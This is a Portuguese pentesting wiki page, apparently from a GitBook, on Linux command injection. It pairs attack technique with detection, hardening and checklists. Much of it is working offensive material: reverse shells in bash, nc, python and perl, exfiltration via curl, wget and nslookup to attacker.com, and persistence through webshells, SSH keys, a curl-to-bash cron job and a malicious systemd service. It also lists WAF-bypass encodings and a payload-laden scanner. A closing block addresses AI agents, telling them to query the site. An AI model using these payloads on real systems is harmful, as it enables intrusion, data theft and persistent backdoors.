# Command Execution

## 📑 **Índice**

1. [Fundamentos da Execução de Comandos no Linux](#-fundamentos-da-execução-de-comandos-no-linux)
2. [Arquitetura e Mecanismos de Ataque](#-arquitetura-e-mecanismos-de-ataque)
3. [Técnicas de Exploração no Linux](#-técnicas-de-exploração-no-linux)
4. [Bypass de Proteções do Linux](#-bypass-de-proteções-do-linux)
5. [Impacto e Cenários Reais](#-impacto-e-cenários-reais)
6. [Ferramentas e Automação](#-ferramentas-e-automação)
7. [Detecção e Monitoramento no Linux](#-detecção-e-monitoramento-no-linux)
8. [Mitigação e Hardening no Linux](#-mitigação-e-hardening-no-linux)
9. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos da Execução de Comandos no Linux**

### **O que é Command Execution no Linux?**

A execução remota de comandos (Command Execution ou RCE) no Linux ocorre quando uma aplicação web ou serviço executa comandos do sistema operacional com base em entrada do usuário sem validação adequada. O atacante consegue injetar comandos arbitrários que são executados no shell do sistema, comprometendo a integridade e confidencialidade do servidor.

### **Como o Linux Executa Comandos?**

```mermaid
graph TD
    A["Aplicação Web"] --> B["Função system() & exec()"]
    B --> C[Fork de processo filho]
    C --> D[Execução de /bin/sh]
    D --> E[Interpretação do comando]
    E --> F[Execução no kernel]
```

### **Funções Perigosas no Linux**

| Função                | Descrição                             | Risco       |
| --------------------- | ------------------------------------- | ----------- |
| `system()`            | Executa comando via shell             | **Crítico** |
| `exec()`              | Executa comando, retorna última linha | Alto        |
| `shell_exec()`        | Retorna toda saída do comando         | Alto        |
| `passthru()`          | Exibe saída diretamente               | Crítico     |
| `` ` ` `` (backticks) | Executa e retorna saída               | Alto        |
| `popen()`             | Abre pipe para processo               | Médio       |
| `proc_open()`         | Controle avançado de processo         | Médio       |

### **Hierarquia de Processos no Linux**

```bash
# Visualizar árvore de processos
pstree -p

# Exemplo: Apache (PID 1234) executa PHP, que executa shell
apache2(1234)───php-fpm(1235)───sh(1236)───id(1237)
```

***

## 🏗️ **Arquitetura e Mecanismos de Ataque**

### **Fluxo de Ataque no Linux**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant W as Web App
    participant S as Shell
    participant K as Kernel Linux

    A->>W: Input 127.0.0.1&#59; id
    Note over W: system ping 127.0.0.1&#59; id
    W->>S: fork e execve bin/sh
    S->>S: Interpreta comandos
    S->>K: execve bin/ping
    S->>K: execve bin/id
    K-->>S: Retorna saida
    S-->>W: Captura saida
    W-->>A: Exibe resultado
```

### **Padrões de Entrada Comuns no Linux**

#### **1. Ping e Diagnóstico de Rede**

```php
// Vulnerável: ping
$ip = $_POST['ip'];
system("ping -c 4 " . $ip);
// Payload: 8.8.8.8; cat /etc/passwd
```

#### **2. Processamento de Imagens com ImageMagick**

```php
// Vulnerável: conversão de imagens
$filename = $_FILES['file']['name'];
system("convert {$filename} -resize 200x200 output.jpg");
// Payload: image.jpg; curl http://attacker.com/shell.php | php
```

#### **3. Geração de Relatórios**

```php
// Vulnerável: geração de PDF
$filename = $_GET['file'];
system("wkhtmltopdf /var/www/html/{$filename} report.pdf");
// Payload: ../../../../etc/passwd; id
```

#### **4. Logs do Sistema**

```php
// Vulnerável: logging de user-agent
$ua = $_SERVER['HTTP_USER_AGENT'];
system("echo '{$ua}' >> /var/log/app.log");
// Payload: '; cat /etc/passwd; '
```

***

## ⚔️ **Técnicas de Exploração no Linux**

### **1. Separadores de Comandos no Linux**

| Separador | Descrição                           | Exemplo                   |
| --------- | ----------------------------------- | ------------------------- |
| `;`       | Executa comandos sequencialmente    | `ls; id`                  |
| `&&`      | Executa segundo se primeiro suceder | `ls /tmp && id`           |
| \`        |                                     | \`                        |
| \`        | \`                                  | Pipe (saída vira entrada) |
| `` ` ``   | Subshell (backticks)                | `` `id` ``                |
| `$()`     | Subshell moderno                    | `$(id)`                   |
| `\n`      | Nova linha (em alguns contextos)    | `127.0.0.1\nid`           |
| `&`       | Executa em background               | `ping 8.8.8.8 & id`       |

### **2. Injeção em Diferentes Contextos**

#### **Contexto: Argumento de Comando**

```bash
# Original: ping 8.8.8.8
# Payload: 8.8.8.8; id
ping 8.8.8.8; id

# Resultado: ping e id são executados
```

#### **Contexto: Nome de Arquivo com Espaços**

```bash
# Original: cat "report.txt"
# Payload: "report.txt; id"
cat "report.txt; id"
# Executa cat report.txt e depois id
```

#### **Contexto: Variáveis de Ambiente**

```bash
# Original: echo $USER
# Payload: ${PATH:0:1}etc${PATH:0:1}passwd
echo ${PATH:0:1}etc${PATH:0:1}passwd
# /etc/passwd
```

### **3. Técnicas Avançadas no Linux**

#### **Shell Reverso**

```bash
# Bash reverso
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Netcat reverso
nc -e /bin/sh 10.0.0.1 4444

# Python reverso
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Perl reverso
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

#### **Out-of-Band (OOB) no Linux**

```bash
# Exfiltrar via DNS
$(id | base64 | curl -d @- http://attacker.com)
$(id | nslookup $(base64 -w0).attacker.com)

# Exfiltrar via HTTP
curl http://attacker.com/$(id | base64 -w0)
wget --post-data="$(id)" http://attacker.com

# Exfiltrar via ICMP
ping -c 1 -p $(id | xxd -p) attacker.com
```

#### **Time-Based Detection**

```bash
# Delay com sleep
sleep 10
# Ping com timeout
ping -c 10 127.0.0.1
# Usando /dev/tcp
timeout 10 cat /dev/tcp/8.8.8.8/80
```

#### **File Write para Persistência**

```bash
# Escrever webshell PHP
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Escrever chave SSH
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3..." > /root/.ssh/authorized_keys

# Escrever cron job para backdoor
echo "* * * * * root curl http://attacker.com/backdoor.sh | bash" >> /etc/crontab

# Escrever systemd service malicioso
cat > /etc/systemd/system/evil.service << EOF
[Service]
ExecStart=/bin/bash -c 'nc -e /bin/sh 10.0.0.1 4444'
[Install]
WantedBy=multi-user.target
EOF
systemctl enable evil.service
```

### **4. Exploração de Binários Comuns no Linux**

```bash
# Usando find
find / -name test -exec id \; 2>/dev/null

# Usando grep
grep -r "root" /etc/passwd --exec id

# Usando awk
awk 'BEGIN {system("id")}'

# Usando sed
sed -n 'e id' /etc/passwd

# Usando perl
perl -e 'system("id")'

# Usando python
python -c 'import os; os.system("id")'

# Usando ruby
ruby -e 'system("id")'

# Usando node
node -e 'require("child_process").exec("id")'
```

***

## 🛡️ **Bypass de Proteções do Linux**

### **1. Bypass de Blacklists com Comandos Alternativos**

| Comando bloqueado | Alternativas no Linux                                             |
| ----------------- | ----------------------------------------------------------------- |
| `cat`             | `more`, `less`, `head`, `tail`, `nl`, `awk`, `sed`, `perl -pe ''` |
| `ls`              | `dir`, `find . -maxdepth 1`, `echo *`, `printf '%s\n' *`          |
| `nc`              | `telnet`, `bash -i`, `python -c`, `perl -MIO::Socket::INET`       |
| `wget`            | `curl`, `fetch`, `lynx`, `links`, `scp`, `rsync`                  |
| `/`               | `${PATH:0:1}`, `$(echo /)`, `$(printf '\x2f')`                    |

### **2. Bypass de Espaços**

```bash
# Usar IFS (Internal Field Separator)
cat${IFS}/etc/passwd

# Usar expansão de chaves
{cat,/etc/passwd}

# Usar tab (%09) ou newline (%0a)
cat%09/etc/passwd

# Usar redirecionamento
cat<>/etc/passwd
```

### **3. Bypass de Slash (/)**

```bash
# Usar variáveis de ambiente
${PATH:0:1}etc${PATH:0:1}passwd
# /etc/passwd

# Usar expansão de variável
x=/; cat ${x}etc${x}passwd

# Usar printf
$(printf "\x2f")etc$(printf "\x2f")passwd

# Usar codificação octal
$(printf "\57")etc$(printf "\57")passwd

# Usar cd para mudar diretório
cd /etc; cat passwd
cd /; cat ./etc/passwd
```

### **4. Bypass de Letras Específicas**

```bash
# Bypass de 'c' em cat
# Usar alternativas
${PATH:0:1}usr${PATH:0:1}bin${PATH:0:1}more /etc/passwd

# Usar wildcards
/???/c?t /???/p?ss??
# /bin/cat /etc/passwd

# Usar globbing com caracteres
/usr/bin/c[au]t /etc/passwd
```

### **5. Bypass de WAF com Codificação no Linux**

```bash
# Hexadecimal
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

# Octal
$(printf "\143\141\164\40\57\145\164\143\57\160\141\163\163\167\144")

# Base64
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh

# Hexdump
echo "636174202f6574632f706173737764" | xxd -r -p | sh

# URL encoding (em parâmetros)
%2F%62%69%6E%2F%63%61%74%20%2F%65%74%63%2F%70%61%73%73%77%64
```

### **6. Bypass de Restrições de Shell**

```bash
# Se /bin/bash está restrito, usar outros
/bin/sh -c 'id'
/usr/bin/perl -e 'exec "/bin/sh"'
/usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'
/usr/bin/ruby -e 'exec "/bin/sh"'

# Usar editor para shell
vi -c ':!/bin/sh'
vim -c ':!/bin/sh'
less /etc/passwd
!id

# Usar debugger
gdb -ex 'exec /bin/sh'
```

***

## 💥 **Impacto e Cenários Reais no Linux**

### **Escala de Impacto no Linux**

| Impacto     | Descrição                  | Comando Exemplo               |
| ----------- | -------------------------- | ----------------------------- |
| **Crítico** | Root shell                 | `sudo -l` / `cat /etc/shadow` |
| **Alto**    | Leitura de dados sensíveis | `cat /var/www/.env`           |
| **Médio**   | Modificação de dados       | `echo 'malware' > index.php`  |
| **Baixo**   | Info do sistema            | `uname -a` / `id`             |

### **Cadeia de Ataque Completa no Linux**

```mermaid
graph TD
    A[Command Injection] --> B[Identificação do Usuário]
    B --> C{www-data?}
    
    C -->|Sim| D[Escalonamento Local]
    D --> E[Sudo Exploits]
    D --> F[SUID Binaries]
    D --> G[Kernel Exploits]
    
    C -->|Não| H[Acesso Direto]
    
    E --> I[Root Access]
    F --> I
    G --> I
    
    I --> J[Persistência]
    I --> K[Movimentação Lateral]
    I --> L[Data Exfiltration]
```

### **Caso 1: Shellshock (CVE-2014-6271) no Linux**

```bash
# Exploração via User-Agent em CGI
curl -H "User-Agent: () { :; }; /bin/bash -c 'wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh'" \
     http://target.com/cgi-bin/test
```

### **Caso 2: Dirty Pipe (CVE-2022-0847) – Escalonamento via Injeção**

```bash
# Após obter execução como www-data, escalar para root
./exploit /etc/passwd 1 "root::0:0:root:/root:/bin/bash"
```

### **Caso 3: Log4j (CVE-2021-44228) no Linux**

```bash
# Injeção JNDI que leva a execução de comandos
${jndi:ldap://attacker.com:1389/Exploit}
# Executa curl para baixar malware
```

***

## 🛠️ **Ferramentas e Automação para Linux**

### **1. Commix – Especializada em Linux**

```bash
# Escaneamento básico
commix -u "http://target.com/ping?ip=127.0.0.1"

# Shell reverso automático
commix -u "http://target.com/ping?ip=127.0.0.1" --os-shell

# Evasão de WAF
commix -u "http://target.com/ping?ip=127.0.0.1" --skip-waf --level=3
```

### **2. Payloads Específicos para Linux**

```bash
# Clonar repositório
git clone https://github.com/swisskyrepo/PayloadsAllTheThings

# Payloads para Linux
cat PayloadsAllTheThings/Command%20Injection/README.md | grep -i linux
```

### **3. Scanner Personalizado para Linux**

```python
#!/usr/bin/env python3
# linux_cmd_injection_scanner.py

import requests
import time
import sys
import re

class LinuxCmdInjectionScanner:
    def __init__(self, target, param, method='GET'):
        self.target = target
        self.param = param
        self.method = method
        
        # Payloads específicos para Linux
        self.payloads = [
            # Basic injection
            '; id',
            '& id',
            '| id',
            '&& id',
            '|| id',
            '`id`',
            '$(id)',
            
            # Time-based (Linux)
            '; sleep 10',
            '| sleep 10',
            '&& sleep 10',
            '; ping -c 10 127.0.0.1',
            
            # Out-of-band
            '; curl http://attacker.com',
            '; wget --post-data="$(id)" http://attacker.com',
            '; nslookup $(whoami).attacker.com',
            
            # File write
            '; echo "<?php system($_GET[\\"cmd\\"]); ?>" > /var/www/html/shell.php',
            '; echo "ssh-rsa AAA..." > /root/.ssh/authorized_keys',
            
            # Reverse shell
            '; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1',
            '; nc -e /bin/sh 10.0.0.1 4444',
            '; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\''
        ]
        
        self.linux_indicators = [
            'uid=', 'gid=', 'groups=', 'root:', 'daemon:',
            'bin:', 'www-data:', '/etc/passwd', 'Permission denied',
            'bash: ', 'sh: ', '-bash:'
        ]
    
    def test_payload(self, payload):
        """Testar payload individual"""
        try:
            if self.method == 'GET':
                params = {self.param: payload}
                start = time.time()
                response = requests.get(self.target, params=params, timeout=15)
                elapsed = time.time() - start
            else:
                data = {self.param: payload}
                start = time.time()
                response = requests.post(self.target, data=data, timeout=15)
                elapsed = time.time() - start
            
            # Verificar indicadores Linux
            for ind in self.linux_indicators:
                if ind in response.text:
                    return True, payload, 'output', ind
            
            # Time-based detection
            if elapsed > 8:
                return True, payload, 'time', f'{elapsed:.2f}s'
            
        except Exception as e:
            pass
        return False, payload, None, None
    
    def scan(self):
        """Executar scan completo"""
        print(f"[*] Scanning Linux target: {self.target} param={self.param}")
        print(f"[*] Testando {len(self.payloads)} payloads...\n")
        
        for payload in self.payloads:
            success, used, method, evidence = self.test_payload(payload)
            if success:
                print(f"[!] VULNERABLE: {used[:50]}...")
                print(f"    Method: {method} | Evidence: {evidence}")
                return True
        
        print("[+] No vulnerability found")
        return False

# Uso
if __name__ == "__main__":
    scanner = LinuxCmdInjectionScanner("http://target.com/ping", "ip")
    scanner.scan()
```

### **4. Metasploit para Linux**

```bash
# Módulos específicos para Linux
msf6 > use exploit/linux/http/shellshock
msf6 > use exploit/multi/http/struts2_rest_xstream
msf6 > use exploit/linux/local/sudo_baron_samedit
msf6 > use exploit/linux/local/cve_2021_3490_ebpf_priv_esc
```

***

## 🔍 **Detecção e Monitoramento no Linux**

### **Logs de Sistema no Linux**

```bash
# Monitorar logs de autenticação
tail -f /var/log/auth.log
tail -f /var/log/secure

# Monitorar logs do Apache/Nginx
tail -f /var/log/apache2/access.log | grep -E '[;&|`\$\(]'
tail -f /var/log/nginx/access.log | grep -E '[;&|`\$\(]'

# Monitorar syslog
tail -f /var/log/syslog | grep -i "command\|exec"

# Monitorar histórico de bash
tail -f /home/*/.bash_history
tail -f /root/.bash_history
```

### **Auditoria com Auditd**

```bash
# Configurar regras para detectar command injection
auditctl -w /bin/bash -p x -k command_exec
auditctl -w /bin/sh -p x -k command_exec
auditctl -w /usr/bin/wget -p x -k command_exec
auditctl -w /bin/curl -p x -k command_exec
auditctl -w /usr/bin/nc -p x -k command_exec
auditctl -w /bin/nc -p x -k command_exec

# Verificar logs
ausearch -k command_exec
ausearch -k command_exec -i | grep -E "uid=33|uid=0"  # www-data ou root
```

### **Monitoramento de Processos**

```bash
# Listar processos com seus filhos
ps auxf | grep -E "sh|bash|php|python|perl"

# Monitorar processos em tempo real
watch -n 1 'ps aux | grep -E "sh|bash|php|python|perl"'

# Verificar processos que executam comandos suspeitos
lsof -c php -c python -c perl 2>/dev/null
```

### **Indicadores de Comprometimento (IOCs) no Linux**

```yaml
Indicadores em logs:
  - Comandos como 'id', 'whoami', 'cat /etc/passwd' em parâmetros HTTP
  - Sequências ';', '&&', '|', '`', '$(' em parâmetros
  - Conexões para portas incomuns (4444, 1337, 31337)
  - Tentativas de download de arquivos (.sh, .py, .php)

Indicadores em processos:
  - Processos web (apache, nginx, php-fpm) com filhos shell (bash, sh)
  - Processos web realizando conexões de rede externas
  - Arquivos temporários em /tmp com extensões .sh, .py, .php

Indicadores em arquivos:
  - Webshells em /var/www/html
  - Chaves SSH adicionadas em /root/.ssh/authorized_keys
  - Cron jobs maliciosos em /etc/crontab, /var/spool/cron/
  - Systemd services maliciosos
```

### **Ferramentas de Detecção**

```bash
# RKHunter - Rootkit Hunter
rkhunter --check

# Lynis - Security Auditing
lynis audit system

# Chkrootkit
chkrootkit

# OSSEC - HIDS
ossec-control status
```

***

## 🛡️ **Mitigação e Hardening no Linux**

### **1. Evitar Funções de Shell**

**PHP no Linux**

```php
// ❌ VULNERÁVEL
system("ping -c 4 " . $ip);

// ✅ SEGURO - Usar validação + biblioteca
$ip = filter_var($ip, FILTER_VALIDATE_IP);
if ($ip) {
    // Usar biblioteca PHP pura
    exec("/bin/ping -c 4 " . escapeshellarg($ip));
}
```

**Python no Linux**

```python
# ❌ VULNERÁVEL
import os
os.system(f"ping -c 4 {ip}")

# ✅ SEGURO - Usar array
import subprocess
subprocess.run(["/bin/ping", "-c", "4", ip], capture_output=True)
```

**Node.js no Linux**

```javascript
// ❌ VULNERÁVEL
const { exec } = require('child_process');
exec(`ping -c 4 ${ip}`);

// ✅ SEGURO - Usar spawn com array
const { spawn } = require('child_process');
spawn('/bin/ping', ['-c', '4', ip]);
```

### **2. Hardening do PHP no Linux**

```ini
# /etc/php/8.1/apache2/php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir = /var/www/html:/tmp
allow_url_fopen = Off
allow_url_include = Off
```

### **3. Hardening do Sistema Linux**

```bash
#!/bin/bash
# linux_hardening.sh - Hardening contra command injection

echo "[*] Hardening Linux contra command injection"

# 1. Restringir comandos perigosos
chmod 750 /bin/bash
chmod 750 /bin/sh
chmod 750 /usr/bin/wget
chmod 750 /bin/curl
chmod 750 /usr/bin/nc
chmod 750 /bin/nc

# 2. Configurar AppArmor/SELinux
# AppArmor
aa-enforce /usr/sbin/apache2
aa-enforce /usr/sbin/nginx

# SELinux
setenforce 1
setsebool -P httpd_can_network_connect off
setsebool -P httpd_can_sendmail off

# 3. Configurar iptables para bloquear conexões externas
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 80 -j REJECT
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 443 -j REJECT
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 25 -j REJECT

# 4. Configurar PHP-FPM com chroot
# /etc/php/8.1/fpm/pool.d/www.conf
echo "chroot = /var/www" >> /etc/php/8.1/fpm/pool.d/www.conf

# 5. Configurar mount options
mount -o remount,noexec /tmp
mount -o remount,noexec /var/tmp

# 6. Configurar sysctl
cat >> /etc/sysctl.conf << EOF
kernel.kptr_restrict=2
kernel.dmesg_restrict=1
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.all.send_redirects=0
EOF

sysctl -p

echo "[+] Hardening concluído"
```

### **4. Sandboxing com Docker**

```dockerfile
# Dockerfile para aplicação web segura
FROM php:8.1-apache

# Remover comandos perigosos
RUN rm /bin/bash /bin/sh /usr/bin/wget /bin/curl

# Adicionar usuário sem shell
RUN useradd -M -s /usr/sbin/nologin appuser

# Configurar permissões
RUN chown -R appuser:appuser /var/www/html
RUN chmod -R 750 /var/www/html

# Executar como usuário não-root
USER appuser

# Limitar capacidades
RUN setcap -r /usr/sbin/apache2
```

### **5. Configuração do Kernel Linux**

```bash
# /etc/sysctl.d/99-security.conf
# Restringir acesso a processos
kernel.yama.ptrace_scope = 1

# Restringir acesso a memória
kernel.kptr_restrict = 2
kernel.dmesg_restrict = 1

# Proteção contra execução de código
kernel.exec-shield = 1
kernel.randomize_va_space = 2

# Limitar recursos
fs.suid_dumpable = 0
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção no Linux**

* [ ] **Validação de entrada**
  * [ ] Utilizar whitelist de valores permitidos
  * [ ] Validar IPs com `filter_var(FILTER_VALIDATE_IP)`
  * [ ] Rejeitar caracteres especiais (`;`, `&`, `|`, `` ` ``, `$`, `(`)
* [ ] **Saídas seguras**
  * [ ] Usar `escapeshellarg()` para argumentos
  * [ ] Usar `escapeshellcmd()` para comandos completos
  * [ ] Preferir array de argumentos em Python/Node.js
* [ ] **Configuração de ambiente**
  * [ ] Desabilitar funções perigosas no PHP
  * [ ] Executar aplicação com usuário de baixo privilégio
  * [ ] Usar `open_basedir` no PHP
  * [ ] Mount `noexec` em `/tmp`
* [ ] **Sandboxing**
  * [ ] Isolar aplicação em container Docker
  * [ ] Configurar AppArmor/SELinux
  * [ ] Usar chroot para PHP-FPM
* [ ] **Monitoramento**
  * [ ] Logs de comandos executados via auditd
  * [ ] Alertas para padrões de injeção
  * [ ] Monitoramento de processos filhos

### **Checklist de Teste para Linux**

* [ ] **Reconhecimento**
  * [ ] Identificar pontos de entrada (parâmetros, headers, uploads)
  * [ ] Identificar versão do sistema (`uname -a`, `/etc/os-release`)
  * [ ] Mapear funções que invocam comandos
* [ ] **Exploração**
  * [ ] Testar separadores de comando (`;`, `&`, `|`, `$()`)
  * [ ] Testar time-based payloads (`sleep`, `ping`)
  * [ ] Testar out-of-band (DNS, HTTP, ICMP)
  * [ ] Testar bypass de WAF (encoding, wildcards)
  * [ ] Testar shells reversos (bash, nc, python)
* [ ] **Pós-exploração**
  * [ ] Identificar privilégios (`id`, `whoami`, `sudo -l`)
  * [ ] Explorar SUID binaries (`find / -perm -4000 2>/dev/null`)
  * [ ] Verificar arquivos sensíveis (`/etc/passwd`, `/etc/shadow`, `.env`)
  * [ ] Escalar para root (kernel exploits, sudo, crontab)

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Command Execution no Linux é uma vulnerabilidade crítica:
  ✅ Permite execução arbitrária de comandos no sistema
  ✅ Pode levar a controle total do servidor
  ✅ Frequentemente usado como vetor inicial de ataque

Defesas essenciais no Linux:
  ❌ Nunca usar system() com entrada do usuário
  ✓ Usar funções com array de argumentos
  ✓ Validar com whitelist rigorosa
  ✓ Aplicar hardening do sistema
  ✓ Isolar aplicações com containers
```

### **Comandos Úteis para Pentesters no Linux**

```bash
# Verificar versão do sistema
uname -a; cat /etc/os-release

# Verificar usuário atual
id; whoami

# Verificar privilégios sudo
sudo -l

# Buscar SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Verificar crontab
cat /etc/crontab; ls -la /etc/cron*

# Verificar serviços
systemctl list-units --type=service

# Verificar arquivos sensíveis
ls -la /var/www/.env* 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null

# Verificar conexões de rede
netstat -tulpn
ss -tulpn
```

### **Recomendações Finais**

1. **Para Desenvolvedores Linux**
   * Evite `system()`, `exec()`, `` ` ``, `popen()`
   * Use `escapeshellarg()` e `escapeshellcmd()` quando necessário
   * Implemente validação com whitelist
   * Teste com payloads de command injection
2. **Para Pentesters Linux**
   * Teste todas as formas de separadores
   * Explore time-based e out-of-band
   * Combine com escalonamento local
   * Use shells reversos específicos para Linux
3. **Para Administradores Linux**
   * Desative funções perigosas no PHP
   * Use AppArmor/SELinux
   * Configure `disable_functions` no PHP
   * Implemente logs com auditd
   * Isole aplicações em containers


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/linux/command-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.